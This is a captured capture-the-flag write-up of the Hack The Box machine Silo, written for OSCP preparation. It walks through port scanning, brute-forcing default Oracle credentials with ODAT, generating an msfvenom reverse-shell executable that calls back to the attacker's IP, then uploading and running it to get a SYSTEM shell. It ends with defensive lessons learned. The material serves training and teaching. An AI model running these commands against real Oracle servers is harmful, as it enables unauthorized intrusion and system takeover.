rana-khalil.gitbook.io
Open in
urlscan Pro
172.64.147.209
Public Scan
URL:
https://rana-khalil.gitbook.io/hack-the-box-oscp-preparation/windows-boxes/silo-writeup-w-o-metasploit?_rsc=51o8m
Submission: On December 14 via api from US — Scanned from IT
Submission: On December 14 via api from US — Scanned from IT
Form analysis
0 forms found in the DOMText Content
Hack The Box OSCP Preparation Search... Ctrl + K * Introduction * My OSCP Journey — A Review * HTB Linux Boxes * Lame Writeup w/o Metasploit * Brainfuck Writeup w/o Metasploit * Shocker Writeup w/o Metasploit * Bashed Writeup w/o Metasploit * Nibbles Writeup w/o Metasploit * Beep Writeup w/o Metasploit * Cronos Writeup w/o Metasploit * Nineveh Writeup w/o Metasploit * Sense Writeup w/o Metasploit * SolidState Writeup w/o Metasploit * Node Writeup w/o Metasploit * Valentine Writeup w/o Metasploit * Poison Writeup w/o Metasploit * Sunday Writeup w/o Metasploit * TartarSauce Writeup w/o Metasploit * Irked Writeup w/o Metasploit * FriendZone Writeup w/o Metasploit * SwagShop Writeup w/o Metasploit * Networked Writeup w/o Metasploit * Jarvis Writeup w/o Metasploit * Magic Writeup w/o Metasploit * Tabby Writeup w/o Metasploit * HTB Windows Boxes * Legacy Writeup w/o Metasploit * Blue Writeup w/o Metasploit * Devel Writeup w/o Metasploit * Optimum Writeup w/o Metasploit * Bastard Writeup w/o Metasploit * Granny Writeup w/o and w/ Metasploit * Arctic Writeup w/o Metasploit * Grandpa Writeup w/ Metasploit * Silo Writeup w/o Metasploit * Bounty Writeup w/o Metasploit * Jerry Writeup w/o Metasploit * Conceal Writeup w/o Metasploit * Chatterbox Writeup w/o Metasploit * Forest Writeup w/o Metasploit * Active Writeup w/o Metasploit * More Challenging than OSCP HTB Boxes * Jeeves Writeup w/o Metasploit * Bart Writeup w/o Metasploit * Tally Writeup w/o Metasploit * Kotarak Writeup w/o Metasploit * Falafel Writeup w/o Metasploit * DevOops Writeup w/o Metasploit * Hawk Writeup w/o Metasploit * Netmon Writeup w/o Metasploit * Lightweight Writeup w/o Metasploit * LaCasaDePapel Writeup w/o Metasploit * Jail Writeup w/o Metasploit * Safe Writeup w/o Metasploit Powered by GitBook On this page * Reconnaissance * Enumeration * Exploitation * Lessons Learned Was this helpful? 1. HTB Windows Boxes SILO WRITEUP W/O METASPLOIT RECONNAISSANCE Run the nmapAutomator script to enumerate open ports and services running on those ports. Copy ./nmapAutomator.sh 10.10.10.82 All * All: Runs all the scans consecutively. We get back the following result. Copy Running all scans on 10.10.10.82Host is likely running Windows---------------------Starting Nmap Quick Scan--------------------- Starting Nmap 7.80 ( https://nmap.org ) at 2020-02-23 11:51 EST Warning: 10.10.10.82 giving up on port because retransmission cap hit (1). Nmap scan report for 10.10.10.82 Host is up (0.042s latency). Not shown: 507 closed ports, 481 filtered ports Some closed ports may be reported as filtered due to --defeat-rst-ratelimit PORT STATE SERVICE 80/tcp open http 135/tcp open msrpc 139/tcp open netbios-ssn 445/tcp open microsoft-ds 1521/tcp open oracle 49152/tcp open unknown 49153/tcp open unknown 49154/tcp open unknown 49155/tcp open unknown 49158/tcp open unknown 49160/tcp open unknown 49161/tcp open unknownNmap done: 1 IP address (1 host up) scanned in 9.36 seconds---------------------Starting Nmap Basic Scan--------------------- Starting Nmap 7.80 ( https://nmap.org ) at 2020-02-23 11:52 EST Nmap scan report for 10.10.10.82 Host is up (0.13s latency).PORT STATE SERVICE VERSION 80/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) | http-methods: |_ Potentially risky methods: TRACE |_http-server-header: Microsoft-IIS/8.5 |_http-title: IIS Windows Server 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 445/tcp open microsoft-ds Microsoft Windows Server 2008 R2 - 2012 microsoft-ds 1521/tcp open oracle-tns Oracle TNS listener 11.2.0.2.0 (unauthorized) 49152/tcp open msrpc Microsoft Windows RPC 49153/tcp open msrpc Microsoft Windows RPC 49154/tcp open msrpc Microsoft Windows RPC 49155/tcp open msrpc Microsoft Windows RPC 49158/tcp open msrpc Microsoft Windows RPC 49160/tcp open oracle-tns Oracle TNS listener (requires service name) 49161/tcp open msrpc Microsoft Windows RPC Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windowsHost script results: |_clock-skew: mean: 2m11s, deviation: 0s, median: 2m11s |_smb-os-discovery: ERROR: Script execution failed (use -d to debug) | smb-security-mode: | account_used: guest | authentication_level: user | challenge_response: supported |_ message_signing: supported | smb2-security-mode: | 2.02: |_ Message signing enabled but not required | smb2-time: | date: 2020-02-23T16:56:29 |_ start_date: 2020-02-23T16:53:39Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 137.13 seconds----------------------Starting Nmap UDP Scan---------------------- Starting Nmap 7.80 ( https://nmap.org ) at 2020-02-23 11:54 EST Warning: 10.10.10.82 giving up on port because retransmission cap hit (1). Nmap scan report for 10.10.10.82 Host is up (0.19s latency). All 1000 scanned ports on 10.10.10.82 are closed (682) or open|filtered (318)Nmap done: 1 IP address (1 host up) scanned in 957.01 seconds---------------------Starting Nmap Full Scan---------------------- Starting Nmap 7.80 ( https://nmap.org ) at 2020-02-23 12:10 EST Initiating Parallel DNS resolution of 1 host. at 12:10 Completed Parallel DNS resolution of 1 host. at 12:10, 0.03s elapsed ..... Nmap scan report for 10.10.10.82 Host is up (0.043s latency). Not shown: 64150 closed ports, 1370 filtered ports PORT STATE SERVICE 80/tcp open http 135/tcp open msrpc 139/tcp open netbios-ssn 445/tcp open microsoft-ds 1521/tcp open oracle 5985/tcp open wsman 47001/tcp open winrm 49152/tcp open unknown 49153/tcp open unknown 49154/tcp open unknown 49155/tcp open unknown 49158/tcp open unknown 49160/tcp open unknown 49161/tcp open unknown 49162/tcp open unknownRead data files from: /usr/bin/../share/nmap Nmap done: 1 IP address (1 host up) scanned in 237.23 seconds Raw packets sent: 89983 (3.959MB) | Rcvd: 85386 (3.416MB)Making a script scan on extra ports: 5985, 47001, 49162 Starting Nmap 7.80 ( https://nmap.org ) at 2020-02-23 12:14 EST Nmap scan report for 10.10.10.82 Host is up (0.47s latency).PORT STATE SERVICE VERSION 5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |_http-server-header: Microsoft-HTTPAPI/2.0 |_http-title: Not Found 47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |_http-server-header: Microsoft-HTTPAPI/2.0 |_http-title: Not Found 49162/tcp open msrpc Microsoft Windows RPC Service Info: OS: Windows; CPE: cpe:/o:microsoft:windowsService detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 60.68 seconds---------------------Starting Nmap Vulns Scan--------------------- Running CVE scan on all ports Starting Nmap 7.80 ( https://nmap.org ) at 2020-02-23 12:15 EST Nmap scan report for 10.10.10.82 Host is up (0.17s latency).PORT STATE SERVICE VERSION 80/tcp open http Microsoft IIS httpd 8.5 |_http-server-header: Microsoft-IIS/8.5 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 445/tcp open microsoft-ds Microsoft Windows Server 2008 R2 - 2012 microsoft-ds 1521/tcp open oracle-tns Oracle TNS listener 11.2.0.2.0 (unauthorized) 5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |_http-server-header: Microsoft-HTTPAPI/2.0 47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |_http-server-header: Microsoft-HTTPAPI/2.0 49152/tcp open msrpc Microsoft Windows RPC 49153/tcp open msrpc Microsoft Windows RPC 49154/tcp open msrpc Microsoft Windows RPC 49155/tcp open msrpc Microsoft Windows RPC 49158/tcp open msrpc Microsoft Windows RPC 49160/tcp open oracle-tns Oracle TNS listener (requires service name) 49161/tcp open msrpc Microsoft Windows RPC 49162/tcp open msrpc Microsoft Windows RPC Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windowsService detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 125.10 seconds---------------------Recon Recommendations----------------------Web Servers Recon: gobuster dir -w /usr/share/wordlists/dirb/common.txt -l -t 30 -e -k -x .html,.php -u http://10.10.10.82:80 -o recon/gobuster_10.10.10.82_80.txt nikto -host 10.10.10.82:80 | tee recon/nikto_10.10.10.82_80.txtgobuster dir -w /usr/share/wordlists/dirb/common.txt -l -t 30 -e -k -x .html,.php -u http://10.10.10.82:5985 -o recon/gobuster_10.10.10.82_5985.txt nikto -host 10.10.10.82:5985 | tee recon/nikto_10.10.10.82_5985.txtgobuster dir -w /usr/share/wordlists/dirb/common.txt -l -t 30 -e -k -x .html,.php -u http://10.10.10.82:47001 -o recon/gobuster_10.10.10.82_47001.txt nikto -host 10.10.10.82:47001 | tee recon/nikto_10.10.10.82_47001.txtSMB Recon: smbmap -H 10.10.10.82 | tee recon/smbmap_10.10.10.82.txt smbclient -L "//10.10.10.82/" -U "guest"% | tee recon/smbclient_10.10.10.82.txt nmap -Pn -p445 --script vuln -oN recon/SMB_vulns_10.10.10.82.txt 10.10.10.82Oracle Recon "Exc. from Default": cd /opt/odat/;#10.10.10.82; ./odat.py sidguesser -s 10.10.10.82 -p 1521 ./odat.py passwordguesser -s 10.10.10.82 -p 1521 -d XE --accounts-file accounts/accounts-multiple.txt cd -;#10.10.10.82;Which commands would you like to run? All (Default), gobuster, nikto, nmap, odat, smbclient, smbmap, Skip <!>Running Default in (1) s:---------------------Running Recon Commands----------------------Starting gobuster scan =============================================================== Gobuster v3.0.1 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_) =============================================================== [+] Url: http://10.10.10.82:80 [+] Threads: 30 [+] Wordlist: /usr/share/wordlists/dirb/common.txt [+] Status codes: 200,204,301,302,307,401,403 [+] User Agent: gobuster/3.0.1 [+] Show length: true [+] Extensions: html,php [+] Expanded: true [+] Timeout: 10s =============================================================== 2020/02/23 12:30:10 Starting gobuster =============================================================== http://10.10.10.82:80/aspnet_client (Status: 301) [Size: 159] =============================================================== 2020/02/23 12:32:56 Finished ===============================================================Finished gobuster scan ========================= Starting gobuster scan =============================================================== Gobuster v3.0.1 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_) =============================================================== [+] Url: http://10.10.10.82:5985 [+] Threads: 30 [+] Wordlist: /usr/share/wordlists/dirb/common.txt [+] Status codes: 200,204,301,302,307,401,403 [+] User Agent: gobuster/3.0.1 [+] Show length: true [+] Extensions: html,php [+] Expanded: true [+] Timeout: 10s =============================================================== 2020/02/23 12:48:56 Starting gobuster =============================================================== =============================================================== 2020/02/23 12:50:47 Finished ===============================================================Finished gobuster scan ========================= Starting gobuster scan =============================================================== Gobuster v3.0.1 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_) =============================================================== [+] Url: http://10.10.10.82:47001 [+] Threads: 30 [+] Wordlist: /usr/share/wordlists/dirb/common.txt [+] Status codes: 200,204,301,302,307,401,403 [+] User Agent: gobuster/3.0.1 [+] Show length: true [+] Extensions: html,php [+] Expanded: true [+] Timeout: 10s =============================================================== 2020/02/23 13:23:17 Starting gobuster =============================================================== =============================================================== 2020/02/23 13:25:25 Finished ===============================================================Finished gobuster scan Starting smbmap scan [+] Finding open SMB ports.... [!] Authentication error on 10.10.10.82 [!] Authentication error on 10.10.10.82Finished smbmap scan ========================= Starting smbclient scan session setup failed: NT_STATUS_ACCOUNT_DISABLEDFinished smbclient scan ========================= Starting nmap scan Starting Nmap 7.80 ( https://nmap.org ) at 2020-02-23 13:38 EST Nmap scan report for 10.10.10.82 Host is up (0.039s latency).PORT STATE SERVICE 445/tcp open microsoft-ds |_clamav-exec: ERROR: Script execution failed (use -d to debug)Host script results: |_samba-vuln-cve-2012-1182: No accounts left to try |_smb-vuln-ms10-054: false |_smb-vuln-ms10-061: No accounts left to tryNmap done: 1 IP address (1 host up) scanned in 24.20 secondsFinished nmap scan ---------------------Finished all Nmap scans---------------------Completed in 1 hour(s), 47 minute(s) and 6 second(s) We have fifteen open ports. * Port 80: running Microsoft-IIS/8.5 * Ports 135, 49152, 49153, 49154, 49155,49158, 49161 & 49162: running Microsoft Windows RPC * Ports 139 & 445: running Samba * Ports 1521 & 4196: running Oracle TNS listener * Ports 5985 & 47001: running Microsoft HTTP API httpd 2.0 Before we move on to enumeration, let’s make some mental notes about the scan results. * Port 80 is running a Microsoft IIS server. A quick google search tells us that the OS is probably Windows Server 2012 R2. The gobuster scan didn’t really find anything useful for this web server. * The nmap scan reported a “guest” account for SMB, however, the smbclient scan reported an “NT_STATUS_ACCOUNT_DISABLED” status, so I doubt we’ll be able to access any of the shares. We can check this manually. * Ports 1521 & 4196 are running Oracle TNS listener. This is the database server software component that manages the network traffic between the Oracle Database and the client. If we manage to get access to this service with an account that has administrative privileges, we can potentially execute code on the box. The nmapAutomator script uses the Oracle Database Attacking Tool (ODAT) to enumerate the system ID and usernames/passwords. However, since the box kept crashing, I terminated the scan. We’ll do our own manual enumeration using this tool. ENUMERATION If you don’t have ODAT installed on kali, the installation instructions can be found here. The first thing we need to enumerate is the Oracle System ID (SID) string. This is a string that is used to uniquely identify a particular database on a system. This can be done using the sidguesser module in ODAT. Copy python3 odat.py sidguesser -s 10.10.10.82 -p 1521 This takes a while, but it does find 4 valid SID strings. Copy [+] SIDs found on the 10.10.10.82:1521 server: XE,XEXDB,SA,SB We’ll use the first one: XE. The second thing to do is enumerate valid credentials. This can be done using the passwordguesser module in ODAT. I tried both account files that come with the ODAT installation, however, the tool didn’t find any valid credentials. So instead, let’s locate the credential list that the Metasploit framework uses. Copy root@kali:~/Desktop/tools/odat# locate oracle_default_userpass.txt /usr/share/metasploit-framework/data/wordlists/oracle_default_userpass.txt Copy it into the ODAT accounts directory. Copy root@kali:~/Desktop/tools/odat# cp /usr/share/metasploit-framework/data/wordlists/oracle_default_userpass.txt accounts/ The username and passwords in this list are separated by a space instead of a forward slash (/). We’ll have to change it to forward slash so that the ODAT tool is able to parse the file. This can be done in vi using the following command. Copy :%s/ /\//g Now that we have a proper list, we can use the passwordguesser module to brute force credentials. Copy python3 odat.py passwordguesser -s 10.10.10.82 -p 1521 -d XE --accounts-file accounts/oracle_default_userpass.txt Again, this also takes a while but it ends up finding credentials! Copy [+] Accounts found on 10.10.10.82:1521/XE: scott/tiger If you look at the Oracle documentation, the username/password that we found are actually one of the default credentials used when setting up Oracle. Now that we have a valid SID and username/password, let’s see if we can get code execution on the box. EXPLOITATION ODAT has a utlfile module that allows you to upload, download or delete a file. Since we are trying to get code execution on the box, let’s upload a malicious executable that sends a reverse shell back to our attack machine. First, generate the executable using msfvenom. Copy msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.7 LPORT=1234 -f exe > shell.exe Next, upload the file using the utlfile module. Copy python3 odat.py utlfile -s 10.10.10.82 -p 1521 -U "scott" -P "tiger" -d XE --putFile /temp shell.exe ../../htb/silo/shell.exe We get the following error. Copy [-] Impossible to put the ../../htb/silo/shell.exe file: `ORA-01031: insufficient privileges` We don’t have sufficient privileges to upload a file. Let’s see if the user was given sysdba privileges by adding the sysdba flag to our command. Copy python3 odat.py utlfile -s 10.10.10.82 -p 1521 -U "scott" -P "tiger" -d XE --putFile /temp shell.exe ../../htb/silo/shell.exe --sysdba Now we need to execute the file. We can do that using the externaltable module in ODAT. First setup a listener on the attack machine to receive the reverse shell. Copy nc -nlvp 1234 Next, execute the file using the following command. Copy python3 odat.py externaltable -s 10.10.10.82 -p 1521 -U "scott" -P "tiger" -d XE --exec /temp shell.exe --sysdba We get a shell! The database must have been running with SYSTEM privileges and so we got a shell as SYSTEM. Grab the user.txt flag. Grab the root.txt flag. Note: IppSec has a great video explaining how to do this manually without having to use ODAT or Metasploit. He also goes through the intended solution for the box which is much harder than the way I solved it. LESSONS LEARNED To get SYSTEM on this box, we exploited two vulnerabilities. 1. Use of Default Credentials. There was an exposed port that was running Oracle TNS listener. The administrator had used default credentials for a user that had sysdba (privileged) access. This allowed us to login as that user and execute malicious code on the box. Since default credentials are publicly available and can be easily obtained, the administrator should have instead used a sufficiently long password that is difficult to crack. 2. Least Privilege Violation. Oracle doesn’t need SYSTEM privileges to function properly. Instead it should have been run under a normal user account that has limited privileges. This way, even if we did get access to the box, we would have needed to find a way to escalate privileges, instead of immediately getting SYSTEM access without having to work for it. The administrator should have conformed to the principle of least privilege. PreviousGrandpa Writeup w/ MetasploitNextBounty Writeup w/o Metasploit Last updated 4 years ago